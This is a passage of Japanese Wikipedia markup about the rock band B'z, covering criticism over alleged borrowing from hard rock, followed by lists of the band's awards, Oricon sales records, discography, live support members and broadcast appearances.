また、[[大滝詠一]]や[[奥田民生]]など他のアーティストなら「リスペクト」や「オマージュ」として好意的に解釈されるのに、なぜB'zだけが叩かれるのか、という点について、様々な分析がされており、元ネタへの愛情と知識の蓄積量、元ネタを商品の「タネ」としかみなしていない創作姿勢の差であるという意見<ref name="都築響一"/>、元ネタである[[ハードロック]]に対する評価がそのままパクリの質として評価されているという意見<ref name="夏至明1999"/><ref>{{Cite book|和書|title=音楽誌が書かないJポップ批評3 |year=1999 |series=別冊宝島 |publisher=宝島社 |isbn=4-7966-9466-8 |chapter=山本かずしげ「テーマ:パクリ&オマージュ」}}</ref>、「パクリ」という行為から読み取れる思想がないという意見<ref>{{Cite book|和書|title=音楽誌が書かないJポップ批評14 「B'zの不思議」、再考! |year=2001 |series=別冊宝島 |publisher=宝島社 |isbn=4-7966-2335-3 |chapter=栗原裕一郎「思想としてのB'z」}}</ref>、B'zのメーンリスナー層と元ネタであるハードロックが共有されないことで、「共犯関係」を築けないためであるという意見<ref name="夏至明2006">{{Cite book|和書|title=「パクリ・盗作」スキャンダル読本 |year=2006 |series=別冊宝島 |publisher=宝島社 |isbn=4-7966-5072-5 |chapter=夏至明「B'z」}}</ref>などがある。
この問題についての作曲者である松本の発言として、夏至明は以下のインタビューを引用している<ref name="夏至明1999"/><ref name="夏至明2006"/>。
<blockquote>
松本 「よくいるでしょ。この曲のここは[[レッド・ツェッペリン|ツェッペリン]]だな、とかいう人。それをまるですごいことでも発見したようにいう人、いるじゃない(笑)。僕らはそういう次元ではやってないんだよね。あくまでも楽しんでやっていることだから」<ref>『GB』94年5月号 ソニーマガジン社</ref>
- 「遊び心があるわけですよね」
松本 「たとえば、B'zの曲の中に「[[スモーク・オン・ザ・ウォーター]]」のフレーズを入れちゃおうか、とかね」
- 「でも、必ず“あれパクリだぜ”とかいうヤツがいるでしょ(笑)」
松本 「いるよ(笑)。ピントがずれてるよね。ロック好きなヤツがバンドやって、そうならない方が不思議だよ。遊ぶ側のセンスだし、聞く人のセンスの問題だと思うけど」{{Sfn|B'z The Book|1998|p=59}}
</blockquote>
夏至明はこの問題について、B'zだけの問題ではなく西洋の[[ロック (音楽)|ロック]]を範とする[[J-POP]]に構造的に内包されているものであるとし、1999年の『音楽誌が書かないJポップ批評3<ref name="夏至明1999"/>』にて、B'zを「全肯定」する論陣を張った。ただし2007年には、この「全肯定」が「[[永遠の翼 (B'zの曲)|永遠の翼]]」にみられるような保守回帰傾向に荷担してしまったかもしれない、という反省と後悔をしている<ref name="夏至明2006"/><ref>{{Cite book|和書|title=音楽誌が書かないJポップ批評50 ZARD&アーリー90'sグラフィティ |year=2007 |series=別冊宝島 |publisher=宝島社 |isbn=978-4-7966-5946-8 |chapter=夏至明「あの頃 B'zを「全肯定」したワケ」}}</ref>。
== 賞・記録 ==
=== 受賞歴 ===
'''[[日本有線大賞]]'''
* 『第23回日本有線大賞』最多リクエスト歌手賞<ref>{{Cite web|和書|url=http://ranking.cansystem.info/grandprix/?md=h&ts=23 |title=第23回日本有線大賞 |year=1990 |publisher=[[キャンシステム]] |accessdate=2018-06-03}}</ref>
* 『第24回日本有線大賞』最多リクエスト歌手賞<ref>{{Cite web|和書|url=http://ranking.cansystem.info/grandprix/?md=h&ts=24 |title=第24回日本有線大賞 |year=1991 |publisher=キャンシステム |accessdate=2018-06-03}}</ref>
'''[[日本レコード大賞]]'''
* 『[[第32回日本レコード大賞]]』【ポップス・ロック部門】優秀アルバム賞『[[WICKED BEAT]]』<ref>{{Cite web|和書|url=https://www.jacompa.or.jp/record/32.php |title=第32回日本レコード大賞 |publisher=[[日本作曲家協会]] |accessdate=2018-06-10}}</ref>
* 『[[第33回日本レコード大賞]]』【ポップス・ロック部門】優秀アルバム賞『[[RISKY (アルバム)|RISKY]]』<ref>{{Cite web|和書|url=https://www.jacompa.or.jp/record/33.php |title=第33回日本レコード大賞 |publisher=日本作曲家協会 |accessdate=2018-06-10}}</ref>
* 『[[第34回日本レコード大賞]]』【ポップス・ロック部門】優秀アルバム賞『[[IN THE LIFE]]』<ref>{{Cite web|和書|url=https://www.jacompa.or.jp/record/34.php |title=第34回日本レコード大賞 |publisher=日本作曲家協会 |accessdate=2018-06-10}}</ref>
'''[[日本ゴールドディスク大賞]]'''
* 『第5回日本ゴールドディスク大賞』ベスト5アーティスト賞<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/05/ |title=第5回日本ゴールドディスク大賞 |year=1991 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
* 『第6回日本ゴールドディスク大賞』ベスト5アーティスト賞<ref name="GD06">{{Cite web|和書|url=https://www.golddisc.jp/award/06/ |title=第6回日本ゴールドディスク大賞 |year=1992 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ベスト5シングル賞『[[LADY NAVIGATION]]』<ref name="GD06"/>、ミュージック・ビデオ賞『[[JUST ANOTHER LIFE]]』<ref name="GD06"/>
* 『第7回日本ゴールドディスク大賞』ベスト5アーティスト賞<ref name="GD07">{{Cite web|和書|url=https://www.golddisc.jp/award/07/ |title=第7回日本ゴールドディスク大賞 |year=1993 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ベスト5シングル賞『[[BLOWIN']]』<ref name="GD07"/>
* 『第8回日本ゴールドディスク大賞』ベスト5シングル賞『[[愛のままにわがままに 僕は君だけを傷つけない]]』<ref name="GD08">{{Cite web|和書|url=https://www.golddisc.jp/award/08/ |title=第8回日本ゴールドディスク大賞 |year=1994 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ミュージック・ビデオ賞『[[LIVE RIPPER]]』<ref name="GD08"/>
* 『第9回日本ゴールドディスク大賞』ベスト5アーティスト賞<ref name="GD09">{{Cite web|和書|url=https://www.golddisc.jp/award/09/ |title=第9回日本ゴールドディスク大賞 |year=1995 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ベスト5シングル賞『[[Don't Leave Me (B'zの曲)|Don't Leave Me]]』<ref name="GD09"/>
* 『第10回日本ゴールドディスク大賞』ベスト5アーティスト賞<ref name="GD10">{{Cite web|和書|url=https://www.golddisc.jp/award/10/ |title=第10回日本ゴールドディスク大賞 |year=1996 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ベスト5シングル賞『[[LOVE PHANTOM]]』<ref name="GD10"/>、グランプリ・アルバム賞『[[LOOSE (B'zのアルバム)|LOOSE]]』<ref name="GD10"/>、アルバム賞 ロック・フォーク部門(男性)『LOOSE』<ref name="GD10"/>、ミュージック・ビデオ賞『[["BUZZ!!" THE MOVIE]]』<ref name="GD10"/>
* 『第12回日本ゴールドディスク大賞』ロック・アルバム・オブ・ザ・イヤー『[[SURVIVE]]』<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/12/ |title=第12回日本ゴールドディスク大賞 |year=1998 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
* 『第13回日本ゴールドディスク大賞』アーティスト・オブ・ザ・イヤー<ref name="GD13"/>、ロック・アルバム・オブ・ザ・イヤー『[[B'z The Best "Pleasure"]]』『[[B'z The Best "Treasure"]]』<ref name="GD13"/>、ソング・オブ・ザ・イヤー「[[HOME (B'zの曲)|HOME]]」<ref name="GD13"/>
* 『第14回日本ゴールドディスク大賞』ロック・アルバム・オブ・ザ・イヤー『[[Brotherhood (B'zのアルバム)|Brotherhood]]』<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/14/ |title=第14回日本ゴールドディスク大賞 |year=2000 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
* 『第15回日本ゴールドディスク大賞』ソング・オブ・ザ・イヤー「[[今夜月の見える丘に]]」<ref name="GD15">{{Cite web|和書|url=https://www.golddisc.jp/award/15/ |title=第15回日本ゴールドディスク大賞 |year=2001 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ロック・アルバム・オブ・ザ・イヤー『[[B'z The "Mixture"]]』『[[ELEVEN (アルバム)|ELEVEN]]』<ref name="GD15"/>
* 『第17回日本ゴールドディスク大賞』ロック&ポップ・アルバム・オブ・ザ・イヤー『[[GREEN (B'zのアルバム)|GREEN]]』『[[The Ballads 〜Love & B'z〜]]』<ref name="GD17">{{Cite web|和書|url=https://www.golddisc.jp/award/17/ |title=第17回日本ゴールドディスク大賞 |year=2003 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ミュージック・ビデオ・オブ・ザ・イヤー(長編)『[[a BEAUTIFUL REEL. B'z LIVE-GYM 2002 GREEN 〜GO★FIGHT★WIN〜|a BEAUTIFUL REEL.]]』<ref name="GD17"/>
* 『第18回日本ゴールドディスク大賞』ソング・オブ・ザ・イヤー「[[IT'S SHOWTIME!!]]」「[[野性のENERGY]]」<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/18/Prize_1.html#gd18_03 |title=第18回日本ゴールドディスク大賞 |year=2004 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ロック&ポップ・アルバム・オブ・ザ・イヤー『[[BIG MACHINE]]』<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/18/Prize_2.html#gd18_05 |title=第18回日本ゴールドディスク大賞 |year=2004 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
* 『第19回日本ゴールドディスク大賞』ミュージック・ビデオ・オブ・ザ・イヤー『[[Typhoon No.15 〜B'z LIVE-GYM The Final Pleasure "IT'S SHOWTIME!!" in 渚園〜]]』<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/19/Prize_4.html#gd19_16 |title=第19回日本ゴールドディスク大賞 |year=2005 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
* 『第20回日本ゴールドディスク大賞』ソング・オブ・ザ・イヤー「[[OCEAN (B'zの曲)|OCEAN]]」<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/20/Prize_1.html#gd20_04 |title=第20回日本ゴールドディスク大賞 |year=2006 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>、ロック&ポップ・アルバム・オブ・ザ・イヤー『[[THE CIRCLE (B'zのアルバム)|THE CIRCLE]]』『[[B'z The Best "Pleasure II"]]』<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/20/Prize_2.html#gd20_05 |title=第20回日本ゴールドディスク大賞 |year=2006 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
* 『第23回日本ゴールドディスク大賞』ザ・ベスト10アルバム『[[B'z The Best "ULTRA Pleasure"]]』<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/23/Prize_3.html#gd23_15 |title=第23回日本ゴールドディスク大賞 |year=2009 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
* 『第24回日本ゴールドディスク大賞』ザ・ベスト5ソング「[[イチブトゼンブ/DIVE|イチブトゼンブ]]」<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/24/Prize_1.html#gd24_06 |title=第24回日本ゴールドディスク大賞 |year=2010 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
* 『第28回日本ゴールドディスク大賞』ベスト5アルバム『[[B'z The Best XXV 1988-1998]]』<ref>{{Cite web|和書|url=https://www.golddisc.jp/award/28/Prize_1.html#gd28_09 |title=第28回日本ゴールドディスク大賞 |year=2014 |publisher=日本レコード協会 |accessdate=2018-06-03}}</ref>
'''[[ワールド・ミュージック・アワード]]'''
* 『1999 The World Music Awards』World Selling Japanese Artist of The Year
'''[[ザテレビジョンドラマアカデミー賞]]'''
* 『第24回ザテレビジョンドラマアカデミー賞』ドラマソング賞「[[今夜月の見える丘に]]」([[TBS系列|TBS系]][[日曜劇場|東芝日曜劇場]]『[[ビューティフルライフ|Beautiful Life〜ふたりでいた日々〜]]』主題歌)<ref>{{Cite web|和書|url=https://thetv.jp/feature/drama-academy/24/awards/ |title=第24回ドラマアカデミー賞 |year=2000 |publisher=株式会社KADOKAWA |accessdate=2020-03-05}}</ref>
* 『第62回ザテレビジョンドラマアカデミー賞』ドラマソング賞「[[イチブトゼンブ/DIVE|イチブトゼンブ]]」([[フジネットワーク|フジテレビ系]][[フジテレビ月曜9時枠の連続ドラマ|月9]]『[[ブザー・ビート〜崖っぷちのヒーロー〜]]』主題歌)<ref>{{Cite web|和書|url=https://thetv.jp/feature/drama-academy/62/awards/best-drama-song/|title=ドラマソング賞 受賞結果 1位:イチブトゼンブ、B'z | 第62回 - ザテレビジョンドラマアカデミー賞|work=ザテレビジョン|publisher=株式会社KADOKAWA|accessdate=2023-05-27}}</ref>
'''[[オリコン]]'''
* 『WE LOVE MUSIC AWARDS』<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/22609/full/ |title=B'z、最多の3部門計5タイトルを受賞! |date=2006-05-25 |work=ORICON |accessdate=2018-06-03}}</ref>
'''[[ビルボード・ジャパン・ミュージック・アワード]]'''
* 『Billboard JAPAN Music Awards 2009』Hot 100 of the Year 2009「[[イチブトゼンブ/DIVE|イチブトゼンブ]]」<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000057886 |title=「ビルボード・ジャパン・ミュージック・アワード2009」、大賞はEXILE |date=2010-01-31 |work=BARKS |accessdate=2018-06-07}}</ref>
=== オリコン記録 ===
* アーティスト・トータル・セールス(CD総売上枚数):8,262.4万枚(歴代1位)<ref name="ORICON2019.4">{{Cite web|和書|url=https://www.oricon.co.jp/news/2133355/full/ |title=【オリコン平成ランキング】平成No.1売上アーティストはB’z 2位AKB48、3位Mr.Children |date=2019-04-11 |work=ORICON NEWS |accessdate=2019-04-11}}</ref>
** 平成30年ランキング アーティスト別セールス(CD総売上枚数):8,262.4万枚(総合1位)<ref name="ORICON2019.4"/>
'''シングル'''
* シングル総売上枚数:約3,596.9万枚(歴代2位)<ref name="ORICON2019.4"/><ref>{{Cite web|和書|url=https://www.oricon.co.jp/confidence/special/52827/2/#link1 |title=【オリコン“平成セールス”ランキング】シングルはSMAP、アルバムは宇多田ヒカルが1位 “平成No.1”アーティスト別セールスのB’zからはコメント到着 |date=2019-04-11 |work=ORICON NEWS |accessdate=2020-03-05}}</ref>
* シングル1位獲得作品数:50作(歴代2位)<ref>{{Cite web|和書|url=https://www.nikkansports.com/entertainment/news/201901270000544.html |title=52回のシングル首位は歴代1位/嵐記録アラカルト |date=2019-01-27 |work=[[日刊スポーツ]] |accessdate=2020-03-05}}</ref>
* シングル連続1位獲得作品数:50作(歴代1位・継続中)<ref name="ORICON2023.7">{{Cite news |url=https://www.oricon.co.jp/news/2287330/full/ |title=B’z、オリコン史上初の「シングル」50作連続1位【オリコンランキング】 |date=2023-07-18 |newspaper=ORICON NEWS |publisher=オリコン|accessdate=2023-07-18}}</ref>
* シングル連続初登場1位獲得作品数:50作(歴代1位・継続中)<ref name="ORICON2023.7"/>
* シングル1位獲得週数:67週(歴代1位)<ref name="ORICON2023.7"/>
* シングル連続1位獲得年数:20年(歴代2位)<ref name="MusicVoice2015.1">{{Cite web|和書|url=https://www.musicvoice.jp/news/22411/ |title=B’zがピンク・レディーを抜く、首位獲得数「64週」で36年ぶり記録更新 |date=2015-01-20 |work=[[MusicVoice]] |accessdate=2020-03-05}}</ref>
* シングルTOP10獲得作品数:50作(歴代5位)
* シングル連続TOP10獲得作品数:50作(歴代3位タイ・継続中)
* シングル連続TOP10獲得年数:20年(歴代3位タイ)
* シングルミリオン獲得作品数:15作(歴代2位)<ref name="M-ON!MUSIC2016.6">{{Cite web|和書|url=https://web.archive.org/web/20200330035326/https://www.m-on-music.jp/0000138393/ |title=【今週のオリコン】AKB48が25作連続ミリオン&アイマス初のアルバム首位 |date=2016-06-07 |work=[[M-ON! MUSIC]] |accessdate=2020-03-05}}</ref>
* シングル連続ミリオン獲得作品数:13作(歴代2位)<ref name="M-ON!MUSIC2016.6"/>
* シングル連続ミリオン獲得年数:7年(歴代1位)<ref name="MusicVoice2015.1"/>
* 同一アーティストによる週間シングルチャートTOP10ランクイン作品数:9作(歴代1位)<ref name="oricon2003.4"/><ref name="sanspo_030331"/>
'''アルバム'''
* アルバム総売上枚数:約4,687.2万枚(歴代1位)<ref name="ORICON2019.6">{{Cite web|和書|url=https://www.oricon.co.jp/news/2136828/full/ |title=B’z、通算29作目のアルバム1位 総売上枚数4600万超えで歴代1位記録更新【オリコンランキング】 |date=2019-06-04 |work=ORICON NEWS |accessdate=2019-06-04}}</ref>
* アルバム1位獲得作品数:31作(歴代1位)<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/2245922/full/|title=B’z、最新アルバム『Highway X』が通算31作目の「アルバム」1位【オリコンランキング】|website=ORICON MUSIC|publisher=oricon ME|date=2022-08-16|accessdate=2022-08-16}}</ref>
* アルバム連続首位獲得年数:8年(1996年から2003年まで。男性アーティスト部門歴代3位)<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/2043809/full/ |title=【オリコン】嵐、11年連続アルバム1位 男性&グループ歴代1位タイ |date=2014-10-28 |work=ORICON NEWS |accessdate=2020-03-05}}</ref>
* アルバムミリオン獲得作品数:19作(歴代1位)<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/7420/full/ |title=B'z、史上最多、通算19作目のミリオン・アルバム達成! |date=2005-12-27 |work=ORICON NEWS |accessdate=2018-06-03}}</ref>
* アルバム連続ミリオン獲得作品数:8作(歴代2位、歴代1位は[[ZARD]]の9作)
* アルバム初週ミリオン獲得作品数:10作(歴代1位)<ref name="MusicVoice2015.1"/>
'''映像作品'''
* 音楽映像作品による年間音楽ビデオチャート1位獲得作品数:8作([[VHS]]:5作、[[DVD]]:1作、[[Blu-ray Disc]]:2作、歴代1位)
* 音楽映像作品による年間総合ビデオチャート1位獲得作品数:5作(歴代1位)
* 音楽VHS作品売上本数:30.1万本(歴代3位)
* 音楽DVD作品でのDVD総合ランキング1位獲得作品数:11作<ref name="ORICON2020.3">{{Cite web|和書|url=https://www.oricon.co.jp/news/2156744/full/ |title=B’z最新ライブ映像作品、3作連続通算3作目の3部門同時1位【オリコンランキング】 |date=2020-03-05 |work=ORICON NEWS |accessdate=2020-03-05}}</ref>
* 音楽DVD作品でのDVD総合ランキング1位連続獲得作品数:8作(歴代1位)
* 音楽Blu-ray Disc作品年間ランキング1位獲得作品数:2作(歴代1位)<ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/83108/full/ |title=【年間ランキング】嵐、音楽DVD史上最高売上で2年連続3冠 |date=2010-12-23 |work=ORICON NEWS |accessdate=2018-06-03}}</ref>
* 音楽Blu-ray Disc作品でのBlu-ray Disc総合ランキング1位獲得作品数:6作<ref name="ORICON2020.3"/>
=== その他 ===
* 「{{仮リンク|ハリウッド・ロックウォーク|en|Hollywood's RockWalk}}」殿堂入り<ref name="ORICON NEWS 2007.09"/><ref name="ORICON NEWS 2007.11"/>
* [[ギネス世界記録]]「日本でもっともアルバムを売り上げたアーティスト」<ref name="Guinness World Records"/><ref name="ギネス世界記録2011"/>
== ディスコグラフィ ==
{{Main|B'zの作品}}
'''シングル'''
{{Div col}}
# [[だからその手を離して]](1988年)
# [[君の中で踊りたい]](1989年)
# [[LADY-GO-ROUND]](1990年)
# [[BE THERE]](1990年)
# [[太陽のKomachi Angel]](1990年)
# [[Easy Come, Easy Go!]](1990年)
# [[愛しい人よGood Night...]](1990年)
# [[LADY NAVIGATION]](1991年)
# [[ALONE (B'zの曲)|ALONE]](1991年)
# [[BLOWIN']](1992年)
# [[ZERO (B'zの曲)|ZERO]](1992年)
# [[愛のままにわがままに 僕は君だけを傷つけない]](1993年)
# [[裸足の女神]](1993年)
# [[Don't Leave Me (B'zの曲)|Don't Leave Me]](1994年)
# [[MOTEL (B'zの曲)|MOTEL]](1994年)
# [[ねがい (B'zの曲)|ねがい]](1995年)
# [[love me, I love you]](1995年)
# [[LOVE PHANTOM]](1995年)
# [[ミエナイチカラ 〜INVISIBLE ONE〜/MOVE]](1996年)
# [[Real Thing Shakes]](1996年)
# [[FIREBALL (B'zの曲)|FIREBALL]](1997年)
# [[Calling (B'zの曲)|Calling]](1997年)
# [[Liar! Liar!]](1997年)
# [[さまよえる蒼い弾丸]](1998年)
# [[HOME (B'zの曲)|HOME]](1998年)
# [[ギリギリchop]](1999年)
# [[今夜月の見える丘に]](2000年)
# [[May (B'zの曲)|May]](2000年)
# [[juice (B'zの曲)|juice]](2000年)
# [[RING (B'zの曲)|RING]](2000年)
# [[ultra soul]](2001年)
# [[GOLD (B'zの曲)|GOLD]](2001年)
# [[熱き鼓動の果て]](2002年)
# [[IT'S SHOWTIME!!]](2003年)
# [[野性のENERGY]](2003年)
# [[BANZAI (B'zの曲)|BANZAI]](2004年)
# [[ARIGATO (B'zの曲)|ARIGATO]](2004年)
# [[愛のバクダン]](2005年)
# [[OCEAN (B'zの曲)|OCEAN]](2005年)
# [[衝動 (B'zの曲)|衝動]](2006年)
# [[ゆるぎないものひとつ]](2006年)
# [[SPLASH!]](2006年)
# [[永遠の翼 (B'zの曲)|永遠の翼]](2007年)
# [[SUPER LOVE SONG]](2007年)
# [[BURN -フメツノフェイス-]](2008年)
# [[イチブトゼンブ/DIVE]](2009年)
# [[MY LONELY TOWN]](2009年)
# [[さよなら傷だらけの日々よ]](2011年)
# [[Don't Wanna Lie]](2011年)
# [[GO FOR IT, BABY -キオクの山脈-]](2012年)
# [[有頂天 (B'zの曲)|有頂天]](2015年)
# [[RED (B'zの曲)|RED]](2015年)
# [[声明/Still Alive]](2017年)
# [[STARS (B'zの曲)|STARS]](2023年)
{{Div col end}}
'''オリジナル・アルバム'''
{{Div col}}
# [[B'z (1988年のアルバム)|B'z]](1988年)
# [[OFF THE LOCK]](1989年)
# [[BREAK THROUGH]](1990年)
# [[RISKY (アルバム)|RISKY]](1990年)
# [[IN THE LIFE]](1991年)
# [[RUN (アルバム)|RUN]](1992年)
# [[The 7th Blues]](1994年)
# [[LOOSE (B'zのアルバム)|LOOSE]](1995年)
# [[SURVIVE]](1997年)
# [[Brotherhood (B'zのアルバム)|Brotherhood]](1999年)
# [[ELEVEN (アルバム)|ELEVEN]](2000年)
# [[GREEN (B'zのアルバム)|GREEN]](2002年)
# [[BIG MACHINE]](2003年)
# [[THE CIRCLE (B'zのアルバム)|THE CIRCLE]](2005年)
# [[MONSTER (アルバム)|MONSTER]](2006年)
# [[ACTION (B'zのアルバム)|ACTION]](2007年)
# [[MAGIC (B'zのアルバム)|MAGIC]](2009年)
# [[C'mon]](2011年)
# [[EPIC DAY]](2015年)
# [[DINOSAUR (B'zのアルバム)|DINOSAUR]](2017年)
# [[NEW LOVE]](2019年)
# [[Highway X]](2022年)
{{Div col end}}
== ライブ ==
{{Main|LIVE-GYM#B'zの公演一覧}}
=== サポートメンバー ===
『B'z LIVE-GYM Pleasure 2023 -STARS-』時点でのサポートメンバー。
{| class="wikitable" style="font-size:85%;"
|-
!人名
!パート(ライブ)
!パート(レコーディング)
|-
|[[Yukihide"YT"Takiyama]]
|[[ギター]]<ref group="注釈">2021年に行われた『B'z presents UNITE #01』と『B'z presents LIVE FRIENDS』ではベースとして参加。</ref>
|[[編曲]]、[[ベース (弦楽器)|ベース]]、[[コーラス (ポピュラー音楽)|バックグラウンドボーカル]]
|-
|[[川村ケン]]
|[[キーボード (楽器)|キーボード]]
|キーボード
|-
|[[青山英樹]]
|[[ドラムセット|ドラムス]]
| -
|-
|清
|ベース
| -
|}
'''元サポートメンバー'''
{| class="wikitable" style="font-size:85%;"
!人名
!パート
!在籍期間(ライブのみ)
|-
|[[明石昌夫]]
|[[マニピュレーター|マニピュレート]]、[[ベース (弦楽器)|ベース]]
|1989年 - 1997年
|-
|[[徳永暁人]]
|ベース、コーラス
|1998年、2003年 - 2007年、2020年
|-
|[[満園庄太郎]]
| rowspan="4" |ベース
|1999年 - 2001年、2020年
|-
|[[ビリー・シーン]](''Billy Sheehan'')
|2002年
|-
|[[バリー・スパークス]](''Barry Sparks'')
|2003年、2008年 - 2018年
|-
|[[モヒニ・デイ]](''Mohini Dey'')
|2019年
|-
|[[阿部薫 (ドラマー)|阿部薫]]
| rowspan="7" |[[ドラムセット|ドラムス]]
|1989年 - 1990年
|-
|[[田中一光 (ドラマー)|田中一光]]
|1990年 - 1994年、2020年
|-
|デニー・フォンハイザー(''Denny Fongheiser'')
|1995年 - 1997年
|-
|[[黒瀬蛙一]]
|1998年 - 2001年、2020年
|-
|[[シェーン・ガラース]](''Shane Gaalaas'')
|2002年 - 2018年
|-
|[[ブライアン・ティッシー]](''Brian Tichy'')
|2019年
|-
|[[河村智康|河村"カースケ"智康]]
|2021年
|-
|[[広本葉子]]
| rowspan="5" |[[キーボード (楽器)|キーボード]]
|1989年 - 1992年
|-
|[[大島こうすけ|大島康祐]]
|1998年
|-
|[[増田隆宣]]
|1992年 - 1997年、1999年 - 2018年、2020年
|-
|サム・ポマンティ(''Sam Pomanti'')
|2019年
|-
|[[小野塚晃]]
|2021年
|-
|高原裕枝
|rowspan="2"|[[コーラス (ポピュラー音楽)|コーラス]]
|rowspan="2"|1992年
|-
|中村優子
|-
|[[大田紳一郎]]
|バッキングボーカル、[[ギター]]、コーラス
|2003年 - 2008年
|-
|[[大賀好修]]
|[[ギター]]
|2011年 - 2018年、2020年、2021年
|-
|澤野博敬
|rowspan="2"|[[トランペット]]
|rowspan="4"|1993年
|-
|澤田秀浩
|-
|[[野村裕幸]]
|[[トロンボーン]]
|-
|吉田じゅんべい
|[[サクソフォーン]]
|}
=== Z'b ===
Z'b(ズービ)とは、『B'z LIVE-GYM '91-'92 "IN THE LIFE"』開始前に肩慣らしと遊び心からつけたバンド名であり、[[洋楽]]の[[カバー]]を中心に日本国内4ヵ所の[[ライブハウス]]で『Z'b LIVE HOUSE TOUR』を開催した。その後はライブの1コーナーにZ'bのメンバーが登場することもあったが、ファンからの「Z'bはもうやらないのか」という質問に対して松本は「多分やらないと思います」と回答している<ref name="bewith105">{{Cite journal|和書|journal=be with! |volume=105 |year=2015 |publisher=B'z Party |chapter=Q&A CORNER}}</ref>。
{| class="wikitable" style="font-size:85%;"
|+ Z'bメンバー{{Sfn|B'z Dictionary|2003}}
|-
!人名
!パート
!演じた人物
|-
|アミーゴこましエンジェルJr.(名古屋のみ早乙女 順)
|[[ボーカル]]
|[[稲葉浩志]]
|-
|綾乃小路 幹彦(神戸のみマリモ・ハラオ)
|[[ギター]]
|[[松本孝弘]]
|-
|はだか一貫
|[[ベース (弦楽器)|ベース]]
|[[明石昌夫]]
|-
|マンボウ・カメ(名古屋のみ菊の門 雅)
|[[キーボード (楽器)|キーボード]]
|[[広本葉子]]
|-
|チャッキーこけし
|[[ドラムセット|ドラムス]]
|[[田中一光 (ドラマー)|田中一光]]
|}
== 出演 ==
<!-- B'zのレギュラー番組もしくは特集番組などの出演のみ記載し、ゲスト出演は記載しない。 -->
'''ラジオ'''
* [[東海ラジオ放送|東海ラジオ]]『[[B'z WAVE-GYM]]』(1990年1月4日 - 1991年3月{{Refnest|group="注釈"|1991年10月からは稲葉が1人でラジオパーソナリティを担当し、1994年3月に番組が終了した{{Sfn|B'z Dictionary|2003}}。}})
* [[ニッポン放送]]『B'zの[[オールナイトニッポン]]』『B'zの[[@llnightnippon.com]]』(1992年10月14日、1995年6月14日、2000年2月22日、2000年12月8日、2003年9月22日、2005年3月19日)
'''アニメ'''
* [[讀賣テレビ放送|読売テレビ]]・[[日本テレビ放送網|日本テレビ]]系アニメ『[[名探偵コナン (アニメ)|名探偵コナン]]』(オープニング映像の一部に「[[ギリギリchop]]」(1999年5月3日 - 11月8日)、「[[Don't Wanna Lie]]」(2011年4月30日 - 7月30日)の[[ミュージック・ビデオ]]使用)
'''特別番組'''
* [[The MUSIC 272]]『B'z LIVE-GYM 2002 "Rock n' California Roll" LIVE&DOCUMENT』(2002年12月21日)
* [[テレビ朝日]]系『B'z 15周年特別番組「IT'S SHOWTIME!! 〜とどけ!世界水泳バルセロナ2003〜」』(2003年6月27日)<ref>{{Cite web|和書|title=B'z、テレビ朝日でデビュー15周年特番を放送(VIBE)|url=http://music.yahoo.co.jp/jpop/music_news/vibe/20030605/vibent001.html|website=Yahoo!JAPAN Music|publisher=ヤフー株式会社|accessdate=2023-10-07|archiveurl= https://web.archive.org/web/20040804080610/http://music.yahoo.co.jp/jpop/music_news/vibe/20030605/vibent001.html|archivedate=2003-06-05|deadlinkdate=2004年8月}}</ref><ref name="B'zのTV出演情報">{{Oricon TV|2473|B’z}}</ref>
* BSデジタル5局 開局3周年共同特別番組『B'z LIVE-GYM 2003 "BANZAI IN NORTH AMERICA" LIVE&DOCUMENT』(2003年12月23日)<ref>{{Cite web|和書|title=BSデジタル、目玉はB'zのライブドキュメント|url=http://www.sanspo.com/geino/top/gt200310/gt2003102216.html|website=SANSPO.COM|publisher=株式会社産業経済新聞社|accessdate=2022-09-24|archiveurl=https://web.archive.org/web/20031023011246/http://www.sanspo.com/geino/top/gt200310/gt2003102216.html|archivedate=2003-10-21|deadlinkdate=2022年9月}}</ref>
* [[NHK総合テレビジョン|NHK総合]]『NHKスペシャル「メガヒットの秘密 〜20年目のB'z〜」』(2008年10月6日<ref>{{Cite web|和書|url=http://www6.nhk.or.jp/special/detail/?aid=20081006 |title=B'z メガヒットの秘密 〜20年目のB'z〜 |publisher=[[日本放送協会]](NHK) |accessdate=2018-06-09|archiveurl=https://web.archive.org/web/20180701054850/http://www6.nhk.or.jp/special/detail/?aid=20081006|archivedate=2018-07-01}}</ref>、2018年9月17日{{Refnest|group="注釈"|番組冒頭に新たな紹介映像を加えての再放送<ref>{{Cite news |url=https://rockinon.com/news/detail/179922 |title=B'z、2008年のNHKスペシャル番組『メガヒットの秘密 〜20年目のB'z〜』を再放送 |date=2018-09-07 |work=[[rockin'on]] |publisher=[[ロッキング・オン]] |accessdate=2018-11-23}}</ref>。}}<ref>{{Cite 